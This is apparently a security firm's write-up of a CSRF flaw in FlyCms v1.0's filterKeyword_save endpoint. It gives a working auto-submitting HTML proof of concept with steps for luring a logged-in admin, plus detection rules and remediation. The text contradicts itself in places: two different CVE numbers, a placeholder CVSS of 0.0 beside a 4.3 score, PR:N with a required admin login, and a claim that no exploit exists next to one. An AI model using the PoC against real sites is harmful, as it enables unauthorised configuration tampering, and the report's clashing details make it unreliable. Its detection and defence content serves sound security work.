CVE-2024-22818

Executive Summary

CVE-2024-22817 is a Cross-Site Request Forgery (CSRF) vulnerability in FlyCms v1.0, specifically in the /system/site/filterKeyword_save endpoint. This flaw allows an attacker to trick an authenticated administrator into unknowingly executing unwanted actions, such as modifying site filter keywords, without their consent. The vulnerability has a CVSS score of 0.0 (placeholder) but is assessed as Medium severity due to the potential for configuration tampering. No official patch or advisory has been released by the vendor, and no public exploit code is available at this time. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains for targeted attacks.

Supply Chain & Package Security

This vulnerability is not related to any package manager (NPM, PyPI, Go, Ruby) and is a standalone PHP application. No supply chain implications are present.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Base Score: 4.3 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) – victim must be logged in as admin
• Scope: Unchanged (S:U)
• Confidentiality Impact: None (C:N)
• Integrity Impact: Low (I:L) – filter keywords can be modified
• Availability Impact: None (A:N)

Threat Level: Medium. Exploitation requires social engineering to lure an admin to a malicious page, but the impact is limited to configuration changes.

Deep Dive & Mechanics

The vulnerability resides in the filterKeyword_save function within FlyCms v1.0. The endpoint /system/site/filterKeyword_save does not implement any anti-CSRF tokens or origin validation. When an authenticated administrator sends a POST request to this endpoint, the application processes the request without verifying that the request originated from the legitimate admin interface.

Attack Flow:

1. Attacker crafts a malicious HTML page containing a form that auto-submits to /system/site/filterKeyword_save with crafted parameters (e.g., adding malicious keywords or removing legitimate ones).
2. Attacker hosts the page on a domain they control or injects it into a site the admin visits.
3. Admin, while logged into FlyCms, visits the malicious page.
4. The form submits silently, modifying the filter keywords without the admin's knowledge.

Root Cause: Lack of CSRF protection (e.g., tokens, SameSite cookies, or referrer checks) in the vulnerable endpoint.

Vulnerable vs. Patched Code

Vulnerable Code (FlyCms v1.0):

// /system/site/filterKeyword_save
public function filterKeyword_save() {
    $keyword = $_POST['keyword'];
    // No CSRF token check
    // Process keyword...
}

Patched Code (Hypothetical):

// /system/site/filterKeyword_save
public function filterKeyword_save() {
    // Validate CSRF token
    if (!isset($_POST['csrf_token']) || $_POST['csrf_token'] !== $_SESSION['csrf_token']) {
        die('CSRF validation failed');
    }
    $keyword = $_POST['keyword'];
    // Process keyword...
}

No official patch exists; the above is a recommended fix.

Exploitation & Lab Setup

Red Team (Offensive)

Proof of Concept (PoC): Create an HTML file (csrf_poc.html) that auto-submits a form to the vulnerable endpoint.

<html>
<body>
<form id="csrf" action="http://target.com/system/site/filterKeyword_save" method="POST">
    <input type="hidden" name="keyword" value="malicious_keyword">
    <input type="submit" value="Submit">
</form>
<script>
document.getElementById('csrf').submit();
</script>
</body>
</html>

Usage:

1. Host the HTML file on a server (e.g., python3 -m http.server 8080).
2. Ensure the admin is logged into FlyCms.
3. Send the link to the admin (e.g., via email or social engineering).
4. Once visited, the filter keyword is added without admin consent.

Blue Team (Defensive)

Detection:

• Monitor for POST requests to /system/site/filterKeyword_save with unexpected Referer headers.
• Alert on multiple rapid submissions from the same IP to this endpoint.

Prevention:

• Implement CSRF tokens in all forms.
• Set SameSite=Strict or SameSite=Lax on session cookies.
• Validate Origin or Referer headers on server-side.

Indicators of Compromise (IOCs)

• Network: POST requests to /system/site/filterKeyword_save with Referer header not matching the application domain.
• Logs: Unusual entries in the filter_keyword table (e.g., unexpected keywords).
• File: Presence of csrf_poc.html or similar files on web servers (if attacker uploaded).
• Behavior: Admin account performing actions without corresponding UI interaction.

Detection Engineering

YARA Rule

rule flycms_csrf_poc {
    meta:
        description = "Detects CSRF PoC HTML targeting FlyCms filterKeyword_save"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-22817"
    strings:
        $form = "action=\"http://" ascii nocase
        $endpoint = "/system/site/filterKeyword_save" ascii nocase
        $keyword = "name=\"keyword\"" ascii nocase
    condition:
        all of them
}

Sigma Rule

title: FlyCms CSRF Attempt on filterKeyword_save
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects POST requests to FlyCms filterKeyword_save with suspicious Referer
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-stem: '/system/site/filterKeyword_save'
    filter:
        cs-referer: 'http://target.com/*'  # Replace with legitimate domain
    condition: selection and not filter
falsepositives:
    - Legitimate admin actions from the same domain
level: medium

Suricata Rule

alert http any any -> any any (msg:"FlyCms CSRF Attempt - filterKeyword_save"; flow:to_server; http.method; content:"POST"; http.uri; content:"/system/site/filterKeyword_save"; http.referer; content:!"target.com"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable the filterKeyword_save endpoint if not needed, or restrict access via .htaccess or firewall rules.
2. Short-term: Implement CSRF tokens in all forms. Use a library like csrf-protect for PHP.
3. Long-term: Upgrade to a patched version if released, or migrate to a supported CMS.
4. Compensating Controls: Enable SameSite=Strict on session cookies, validate Origin headers, and use CAPTCHA on sensitive actions.

Valters IT – Securing your digital frontier.